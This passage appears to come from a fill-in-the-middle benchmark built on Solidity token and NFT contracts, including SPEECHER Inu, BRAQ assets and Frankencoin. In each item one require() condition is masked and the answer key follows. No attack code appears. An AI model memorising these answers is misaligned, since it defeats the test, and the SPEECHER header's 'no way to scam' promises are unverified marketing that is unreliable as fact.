_lastTransferBlock[tx.origin] = block.number; _lastTransferBlock[to] = block.number; } // Max TX and max wallet if (from == dexPair && !isExcludedFromMaxTx(to)) { // Buy require(amount <= _maxTxAmount, "Token: buy amount exceeds max TX limit"); require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } else if (to == dexPair && !isExcludedFromMaxTx(from)) { // Sell require(amount <= _maxTxAmount, "Token: sell amount exceeds max TX limit"); } else if (!isExcludedFromMaxTx(to)) { // Transfer require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } } // Swap contract tokens, add liquidity, then distribute if (swapEnabled && !_isSwapLocked && balanceOf(address(this)) > swapTokensAmount && from != dexPair && !isExcludedFromFees(from) && !isExcludedFromFees(to)) { _swapLiquify(swapTokensAmount); } bool deductFees = !_isSwapLocked; // Omit fees for excluded addresses if (isExcludedFromFees(from) || isExcludedFromFees(to) || to == address(dexRouter)) { deductFees = false; } uint256 totalAmount = amount; uint256 totalFees = 0; // Take fees on buys/sells, not wallet transfers if (deductFees) { if (to == dexPair && sellTotalFees > 0) { // Sell totalFees = (totalAmount * sellTotalFees) / 100; _tokensForTreasury += (totalFees * sellTreasuryFee) / sellTotalFees; _tokensForLiquidity += (totalFees * sellLiquidityFee) / sellTotalFees; _tokensForEcosystem += (totalFees * sellEcosystemFee) / sellTotalFees; } else if (from == dexPair && buyTotalFees > 0) { // Buy totalFees = (totalAmount * buyTotalFees) / 100; _tokensForTreasury += (totalFees * buyTreasuryFee) / buyTotalFees; _tokensForLiquidity += (totalFees * buyLiquidityFee) / buyTotalFees; _tokensForEcosystem += (totalFees * buyEcosystemFee) / buyTotalFees; } if (totalFees > 0) { super._transfer(from, address(this), totalFees); totalAmount -= totalFees; } } super._transfer(from, to, totalAmount); } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
_lastTransferBlock[tx.origin]<(block.number-_transferDelayBlocks)&&_lastTransferBlock[to]<(block.number-_transferDelayBlocks),"Token: transfer delay enabled"
196,290
_lastTransferBlock[tx.origin]<(block.number-_transferDelayBlocks)&&_lastTransferBlock[to]<(block.number-_transferDelayBlocks)
"Token: amount would exceed max wallet limit"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Token: transfer amount must be greater than zero"); // Anti-bot if (antiBotEnabled) { require(!_bots[to] && !_bots[from], "Token: address blacklisted"); } // Trading enabled if (!_tradingEnabled) { require(isExcludedFromFees(from) || isExcludedFromFees(to), "Token: trading not yet enabled"); } if (limitsEnabled && !_isSwapLocked && from != owner() && to != owner() && to != address(0) && to != address(0xdead)) { // Blacklist bots by timestamp & block if ((block.timestamp <= (_launchTime + _botSeconds) || block.number <= (_launchBlock + _botBlocks)) && to != address(this) && to != dexPair && to != address(dexRouter)) { _bots[to] = true; totalBots++; } // Prevent multiple transfers in specified blocks if (transferDelayEnabled && from != address(this) && to != dexPair && to != address(dexRouter)) { require(_lastTransferBlock[tx.origin] < (block.number - _transferDelayBlocks) && _lastTransferBlock[to] < (block.number - _transferDelayBlocks), "Token: transfer delay enabled"); _lastTransferBlock[tx.origin] = block.number; _lastTransferBlock[to] = block.number; } // Max TX and max wallet if (from == dexPair && !isExcludedFromMaxTx(to)) { // Buy require(amount <= _maxTxAmount, "Token: buy amount exceeds max TX limit"); require(<FILL_ME>) } else if (to == dexPair && !isExcludedFromMaxTx(from)) { // Sell require(amount <= _maxTxAmount, "Token: sell amount exceeds max TX limit"); } else if (!isExcludedFromMaxTx(to)) { // Transfer require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } } // Swap contract tokens, add liquidity, then distribute if (swapEnabled && !_isSwapLocked && balanceOf(address(this)) > swapTokensAmount && from != dexPair && !isExcludedFromFees(from) && !isExcludedFromFees(to)) { _swapLiquify(swapTokensAmount); } bool deductFees = !_isSwapLocked; // Omit fees for excluded addresses if (isExcludedFromFees(from) || isExcludedFromFees(to) || to == address(dexRouter)) { deductFees = false; } uint256 totalAmount = amount; uint256 totalFees = 0; // Take fees on buys/sells, not wallet transfers if (deductFees) { if (to == dexPair && sellTotalFees > 0) { // Sell totalFees = (totalAmount * sellTotalFees) / 100; _tokensForTreasury += (totalFees * sellTreasuryFee) / sellTotalFees; _tokensForLiquidity += (totalFees * sellLiquidityFee) / sellTotalFees; _tokensForEcosystem += (totalFees * sellEcosystemFee) / sellTotalFees; } else if (from == dexPair && buyTotalFees > 0) { // Buy totalFees = (totalAmount * buyTotalFees) / 100; _tokensForTreasury += (totalFees * buyTreasuryFee) / buyTotalFees; _tokensForLiquidity += (totalFees * buyLiquidityFee) / buyTotalFees; _tokensForEcosystem += (totalFees * buyEcosystemFee) / buyTotalFees; } if (totalFees > 0) { super._transfer(from, address(this), totalFees); totalAmount -= totalFees; } } super._transfer(from, to, totalAmount); } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
amount+balanceOf(to)<=_maxWalletAmount,"Token: amount would exceed max wallet limit"
196,290
amount+balanceOf(to)<=_maxWalletAmount
"The assets are locked and no more can be created"
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract BRAQFractionalAssets is ERC1155, Ownable { using Strings for uint256; struct InitialParameters { string name; string symbol; string uri; } uint16 public maxAllowed; uint256 public price; string private baseURI; string public name; string public symbol; bool public investingAssetsLocked = false; bool public assetMint = false; address public BRAQHOLDERS; mapping(uint256 => bool) public investedAsset; mapping(address => uint256) public mintedBalance; event SetBaseURI(string indexed _uri); constructor( address _owner, InitialParameters memory initialParameters) ERC1155(initialParameters.uri) { } // // @dev: locks the assets forever, you can not revert this. // function lockAssets() public onlyOwner { } // // @dev: creates new asset for airdropping / minting // function newAsset(uint256 _id) public onlyOwner { require(<FILL_ME>) require(investedAsset[_id] == false, "This ID already has an asset created under it, try another number"); investedAsset[_id] = true; } // // @dev: Mint function for only BRAQFRND holders. // function mint(uint256 _id, uint256 amount) public payable { } // // @dev: Owner function to mint several assets at once for airdrop. // function mintBatch(uint256[] memory _ids, uint256[] memory _quantity) external onlyOwner { } // // @dev: Function to change the max allowed of mints for this round. // function changeMaxAllowed(uint16 _maxAllowed) public onlyOwner { } // // @dev: Function to allow holders to mint additional fractions. // function changeMintState() external onlyOwner { } // // @dev: Function to change the price of current asset to mint. // function setPrice(uint256 _price) public onlyOwner { } // // @dev: Function to set contract of BRAQ // function setBRAQAddress(address _newAddress) public onlyOwner { } // // @dev: function to change the URI in the occurence of new assets being added. // function setURI(string memory _uri) external onlyOwner { } // // @dev: concatenation of the URI to display on Opensea depending on token. // function uri(uint256 _id) public view override returns (string memory) { } function withdrawETH() public onlyOwner { } }
!investingAssetsLocked,"The assets are locked and no more can be created"
196,556
!investingAssetsLocked
"This ID already has an asset created under it, try another number"
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract BRAQFractionalAssets is ERC1155, Ownable { using Strings for uint256; struct InitialParameters { string name; string symbol; string uri; } uint16 public maxAllowed; uint256 public price; string private baseURI; string public name; string public symbol; bool public investingAssetsLocked = false; bool public assetMint = false; address public BRAQHOLDERS; mapping(uint256 => bool) public investedAsset; mapping(address => uint256) public mintedBalance; event SetBaseURI(string indexed _uri); constructor( address _owner, InitialParameters memory initialParameters) ERC1155(initialParameters.uri) { } // // @dev: locks the assets forever, you can not revert this. // function lockAssets() public onlyOwner { } // // @dev: creates new asset for airdropping / minting // function newAsset(uint256 _id) public onlyOwner { require(!investingAssetsLocked, "The assets are locked and no more can be created"); require(<FILL_ME>) investedAsset[_id] = true; } // // @dev: Mint function for only BRAQFRND holders. // function mint(uint256 _id, uint256 amount) public payable { } // // @dev: Owner function to mint several assets at once for airdrop. // function mintBatch(uint256[] memory _ids, uint256[] memory _quantity) external onlyOwner { } // // @dev: Function to change the max allowed of mints for this round. // function changeMaxAllowed(uint16 _maxAllowed) public onlyOwner { } // // @dev: Function to allow holders to mint additional fractions. // function changeMintState() external onlyOwner { } // // @dev: Function to change the price of current asset to mint. // function setPrice(uint256 _price) public onlyOwner { } // // @dev: Function to set contract of BRAQ // function setBRAQAddress(address _newAddress) public onlyOwner { } // // @dev: function to change the URI in the occurence of new assets being added. // function setURI(string memory _uri) external onlyOwner { } // // @dev: concatenation of the URI to display on Opensea depending on token. // function uri(uint256 _id) public view override returns (string memory) { } function withdrawETH() public onlyOwner { } }
investedAsset[_id]==false,"This ID already has an asset created under it, try another number"
196,556
investedAsset[_id]==false
"Max Fractions minted"
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract BRAQFractionalAssets is ERC1155, Ownable { using Strings for uint256; struct InitialParameters { string name; string symbol; string uri; } uint16 public maxAllowed; uint256 public price; string private baseURI; string public name; string public symbol; bool public investingAssetsLocked = false; bool public assetMint = false; address public BRAQHOLDERS; mapping(uint256 => bool) public investedAsset; mapping(address => uint256) public mintedBalance; event SetBaseURI(string indexed _uri); constructor( address _owner, InitialParameters memory initialParameters) ERC1155(initialParameters.uri) { } // // @dev: locks the assets forever, you can not revert this. // function lockAssets() public onlyOwner { } // // @dev: creates new asset for airdropping / minting // function newAsset(uint256 _id) public onlyOwner { } // // @dev: Mint function for only BRAQFRND holders. // function mint(uint256 _id, uint256 amount) public payable { require(!investingAssetsLocked, "The assets are locked and no more can be minted"); require(assetMint, "Mint is not open for holders to mint more"); IERC721 braqfrnds = IERC721(BRAQHOLDERS); uint256 amountBRAQ = braqfrnds.balanceOf(msg.sender); require(amountBRAQ >= 1, "You are not a holder"); uint256 mintedCount = mintedBalance[msg.sender]; require(<FILL_ME>) require(msg.value == price * amount, "Not enough ETH to complete tx"); mintedBalance[msg.sender]++; _mint(msg.sender, _id, amount, ""); } // // @dev: Owner function to mint several assets at once for airdrop. // function mintBatch(uint256[] memory _ids, uint256[] memory _quantity) external onlyOwner { } // // @dev: Function to change the max allowed of mints for this round. // function changeMaxAllowed(uint16 _maxAllowed) public onlyOwner { } // // @dev: Function to allow holders to mint additional fractions. // function changeMintState() external onlyOwner { } // // @dev: Function to change the price of current asset to mint. // function setPrice(uint256 _price) public onlyOwner { } // // @dev: Function to set contract of BRAQ // function setBRAQAddress(address _newAddress) public onlyOwner { } // // @dev: function to change the URI in the occurence of new assets being added. // function setURI(string memory _uri) external onlyOwner { } // // @dev: concatenation of the URI to display on Opensea depending on token. // function uri(uint256 _id) public view override returns (string memory) { } function withdrawETH() public onlyOwner { } }
mintedCount+amount<=maxAllowed,"Max Fractions minted"
196,556
mintedCount+amount<=maxAllowed
"URI requested for invalid asset."
// SPDX-License-Identifier: MIT pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract BRAQFractionalAssets is ERC1155, Ownable { using Strings for uint256; struct InitialParameters { string name; string symbol; string uri; } uint16 public maxAllowed; uint256 public price; string private baseURI; string public name; string public symbol; bool public investingAssetsLocked = false; bool public assetMint = false; address public BRAQHOLDERS; mapping(uint256 => bool) public investedAsset; mapping(address => uint256) public mintedBalance; event SetBaseURI(string indexed _uri); constructor( address _owner, InitialParameters memory initialParameters) ERC1155(initialParameters.uri) { } // // @dev: locks the assets forever, you can not revert this. // function lockAssets() public onlyOwner { } // // @dev: creates new asset for airdropping / minting // function newAsset(uint256 _id) public onlyOwner { } // // @dev: Mint function for only BRAQFRND holders. // function mint(uint256 _id, uint256 amount) public payable { } // // @dev: Owner function to mint several assets at once for airdrop. // function mintBatch(uint256[] memory _ids, uint256[] memory _quantity) external onlyOwner { } // // @dev: Function to change the max allowed of mints for this round. // function changeMaxAllowed(uint16 _maxAllowed) public onlyOwner { } // // @dev: Function to allow holders to mint additional fractions. // function changeMintState() external onlyOwner { } // // @dev: Function to change the price of current asset to mint. // function setPrice(uint256 _price) public onlyOwner { } // // @dev: Function to set contract of BRAQ // function setBRAQAddress(address _newAddress) public onlyOwner { } // // @dev: function to change the URI in the occurence of new assets being added. // function setURI(string memory _uri) external onlyOwner { } // // @dev: concatenation of the URI to display on Opensea depending on token. // function uri(uint256 _id) public view override returns (string memory) { require(<FILL_ME>) return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, _id.toString(), ".json")) : baseURI; } function withdrawETH() public onlyOwner { } }
investedAsset[_id],"URI requested for invalid asset."
196,556
investedAsset[_id]
"ERC721ATLMerkle: No token supply left"
//SPDX-License-Identifier: MIT /// @title 404 /// @author transientlabs.xyz pragma solidity 0.8.17; import { ERC721ATLMerkle, ERC721ATLCore, ERC721A, MerkleProof } from "ERC721ATLMerkle.sol"; import { BlockList } from "BlockList.sol"; import { StoryContract } from "StoryContract.sol"; contract MissivesFromAGenerativeRealm is ERC721ATLMerkle, BlockList, StoryContract { bool public burnOpen; constructor( address royaltyRecipient, uint256 royaltyPercentage, uint256 price, uint256 supply, bytes32 merkleRoot, address admin, address payout, address[] memory blockedMarketplaces ) ERC721ATLMerkle("Missives from a Generative Realm", "MGR", royaltyRecipient, royaltyPercentage, price, supply, merkleRoot, admin, payout) BlockList() StoryContract(true) { } //================= Burn Functions =================// /// @notice function to set burn status /// @dev requires admin or owner function setBurnStatus(bool status) external adminOrOwner { } /// @notice burn function /// @dev requires burn to be open function burn(uint256 tokenId) external { } //================= BlockList =================// function setBlockListStatus(address operator, bool status) external onlyOwner { } //================= Overrides =================// /// @dev see {ERC721A.setApprovalForAll} function setApprovalForAll(address operator, bool approved) public virtual override(ERC721A) notBlocked(operator) { } /// @dev see {ERC165.supportsInterface} function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721ATLCore, StoryContract) returns (bool) { } //================= Story Contract =================// /// @notice function to check if a token exists on the token contract function _tokenExists(uint256 tokenId) internal view override returns (bool) { } /// @notice function to check ownership of a token function _isTokenOwner(address potentialOwner, uint256 tokenId) internal view override returns (bool) { } //================= Mint =================// function mint(uint256 /*numToMint*/, bytes32[] calldata /*merkleProof*/) external override payable nonReentrant { } /// @notice function to mint with delegate minting enabled function mintToken(address recipient, uint256 numToMint, bytes32[] calldata merkleProof) external payable nonReentrant { require(<FILL_ME>) require(msg.value >= mintPrice * numToMint, "ERC721ATLMerkle: Not enough ether attached to the transaction"); require(_numberMinted(recipient) + numToMint <= mintAllowance, "ERC721ATLMerkle: Mint allowance reached"); if (allowlistSaleOpen) { bytes32 leaf = keccak256(abi.encodePacked(recipient)); require(MerkleProof.verify(merkleProof, allowlistMerkleRoot, leaf), "ERC721ATLMerkle: Not on allowlist"); } else if (!publicSaleOpen) { revert("ERC721ATLMerkle: Mint not open"); } _mint(recipient, numToMint); // no external call here (bool success, ) = payoutAddress.call{value: msg.value}(""); require(success, "payment failed"); } }
_totalMinted()+numToMint<=maxSupply,"ERC721ATLMerkle: No token supply left"
196,559
_totalMinted()+numToMint<=maxSupply
"ERC721ATLMerkle: Mint allowance reached"
//SPDX-License-Identifier: MIT /// @title 404 /// @author transientlabs.xyz pragma solidity 0.8.17; import { ERC721ATLMerkle, ERC721ATLCore, ERC721A, MerkleProof } from "ERC721ATLMerkle.sol"; import { BlockList } from "BlockList.sol"; import { StoryContract } from "StoryContract.sol"; contract MissivesFromAGenerativeRealm is ERC721ATLMerkle, BlockList, StoryContract { bool public burnOpen; constructor( address royaltyRecipient, uint256 royaltyPercentage, uint256 price, uint256 supply, bytes32 merkleRoot, address admin, address payout, address[] memory blockedMarketplaces ) ERC721ATLMerkle("Missives from a Generative Realm", "MGR", royaltyRecipient, royaltyPercentage, price, supply, merkleRoot, admin, payout) BlockList() StoryContract(true) { } //================= Burn Functions =================// /// @notice function to set burn status /// @dev requires admin or owner function setBurnStatus(bool status) external adminOrOwner { } /// @notice burn function /// @dev requires burn to be open function burn(uint256 tokenId) external { } //================= BlockList =================// function setBlockListStatus(address operator, bool status) external onlyOwner { } //================= Overrides =================// /// @dev see {ERC721A.setApprovalForAll} function setApprovalForAll(address operator, bool approved) public virtual override(ERC721A) notBlocked(operator) { } /// @dev see {ERC165.supportsInterface} function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721ATLCore, StoryContract) returns (bool) { } //================= Story Contract =================// /// @notice function to check if a token exists on the token contract function _tokenExists(uint256 tokenId) internal view override returns (bool) { } /// @notice function to check ownership of a token function _isTokenOwner(address potentialOwner, uint256 tokenId) internal view override returns (bool) { } //================= Mint =================// function mint(uint256 /*numToMint*/, bytes32[] calldata /*merkleProof*/) external override payable nonReentrant { } /// @notice function to mint with delegate minting enabled function mintToken(address recipient, uint256 numToMint, bytes32[] calldata merkleProof) external payable nonReentrant { require(_totalMinted() + numToMint <= maxSupply, "ERC721ATLMerkle: No token supply left"); require(msg.value >= mintPrice * numToMint, "ERC721ATLMerkle: Not enough ether attached to the transaction"); require(<FILL_ME>) if (allowlistSaleOpen) { bytes32 leaf = keccak256(abi.encodePacked(recipient)); require(MerkleProof.verify(merkleProof, allowlistMerkleRoot, leaf), "ERC721ATLMerkle: Not on allowlist"); } else if (!publicSaleOpen) { revert("ERC721ATLMerkle: Mint not open"); } _mint(recipient, numToMint); // no external call here (bool success, ) = payoutAddress.call{value: msg.value}(""); require(success, "payment failed"); } }
_numberMinted(recipient)+numToMint<=mintAllowance,"ERC721ATLMerkle: Mint allowance reached"
196,559
_numberMinted(recipient)+numToMint<=mintAllowance
"Exceeded mint limit per wallet"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract KnowPrisonClub is ERC721A, Ownable, DefaultOperatorFilterer { string private baseURI = "ipfs://bafybeifmyld2xcozptt4bagb4fzl6qtnmkctkfcooy2xis2e5wdc3pkbva/"; uint256 public maxSupply = 5000; uint256 public mintPrice = 0.0025 ether; uint256 public maxPerWallet = 8; bool public isMintEnabled = false; constructor() ERC721A("Know Prison Club", "KPC") {} function mint(uint256 quantity) external payable { require(isMintEnabled, "Mint not enabled"); require(<FILL_ME>) require(totalSupply() + quantity <= maxSupply, "Exceeded max supply"); require(msg.value >= mintPrice * (quantity - (_numberMinted(msg.sender) == 0? 1: 0)), "Not enough ether sent"); _safeMint(msg.sender, quantity); } function mintDev(uint256 quantity) external onlyOwner { } function toggleMint() external onlyOwner { } function setMaxSupply(uint256 supply) external onlyOwner { } function setMaxPerWallet(uint256 max) external onlyOwner { } function setMintPrice(uint256 newPrice) external onlyOwner { } function setBaseUri(string memory newUri) external onlyOwner { } function withdraw() external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) { } }
quantity+_numberMinted(msg.sender)<=maxPerWallet,"Exceeded mint limit per wallet"
196,691
quantity+_numberMinted(msg.sender)<=maxPerWallet
"ERC1155TokenController: token must be a contract"
pragma solidity ^0.8.0; /** * @title ERC1155TokenController * @dev Controller of ERC1155 token contract. */ contract ERC1155TokenController is Controller { using Address for address; address private _token; event Mint(uint256 indexed identifier, address indexed beneficiary); event MintBatch(uint256[] indexed identifier, address indexed beneficiary); /** * @dev Creates token controller instance with token set to `token` and signer set to `signer`. */ constructor(address token, address signer) Controller(signer) { require(token != address(0), "ERC1155TokenController: token must be a valid address"); require(<FILL_ME>) _token = token; } /** * @dev Allows to mint non-fungible token identified by `identifier` and `checksum` by bearer of valid `signature` and assign it to `beneficiary`. */ function mintNonFungible(uint256 identifier, uint256 checksum, address beneficiary, uint256 timestamp, bytes calldata signature) external onlyValidSignatureAndTimestamp(signature, timestamp) { } /** * @dev Allows to mint multiple non-fungible tokens identified by `identifiers` by bearer of valid `signature` and assign them to `beneficiary`. */ function mintNonFungibleBatch(uint256[] calldata identifiers, uint256[] calldata checksums, address beneficiary, uint256 timestamp, bytes calldata signature) external onlyValidSignatureAndTimestamp(signature, timestamp) { } }
token.isContract(),"ERC1155TokenController: token must be a contract"
197,036
token.isContract()
"already registered"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20PermitLight.sol"; import "./Equity.sol"; import "./IReserve.sol"; import "./IFrankencoin.sol"; contract Frankencoin is ERC20PermitLight, IFrankencoin { uint256 public constant MIN_FEE = 1000 * (10**18); uint256 public immutable MIN_APPLICATION_PERIOD; // for example 10 days IReserve override public immutable reserve; uint256 private minterReserveE6; mapping (address => uint256) public minters; mapping (address => address) public positions; event MinterApplied(address indexed minter, uint256 applicationPeriod, uint256 applicationFee, string message); event MinterDenied(address indexed minter, string message); constructor(uint256 _minApplicationPeriod) ERC20(18){ } function name() override external pure returns (string memory){ } function symbol() override external pure returns (string memory){ } /** * @notice Minting is suggested either by (1) person applying for a new original position, * or (2) by the minting hub when cloning a position. The minting hub has the priviledge * to call with zero application fee and period. * @param _minter address of the position want to add to the minters * @param _applicationPeriod application period in seconds * @param _applicationFee application fee in parts per million * @param _message message string */ function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external { require(_applicationPeriod >= MIN_APPLICATION_PERIOD || totalSupply() == 0, "period too short"); require(_applicationFee >= MIN_FEE || totalSupply() == 0, "fee too low"); require(<FILL_ME>) _transfer(msg.sender, address(reserve), _applicationFee); minters[_minter] = block.timestamp + _applicationPeriod; emit MinterApplied(_minter, _applicationPeriod, _applicationFee, _message); } function minterReserve() public view returns (uint256) { } function registerPosition(address _position) override external { } /** * @notice Get reserve balance (amount of ZCHF) * @return ZCHF in dec18 format */ function equity() public view returns (uint256) { } function denyMinter(address _minter, address[] calldata _helpers, string calldata _message) override external { } /** * @notice Mint amount of ZCHF for address _target * @param 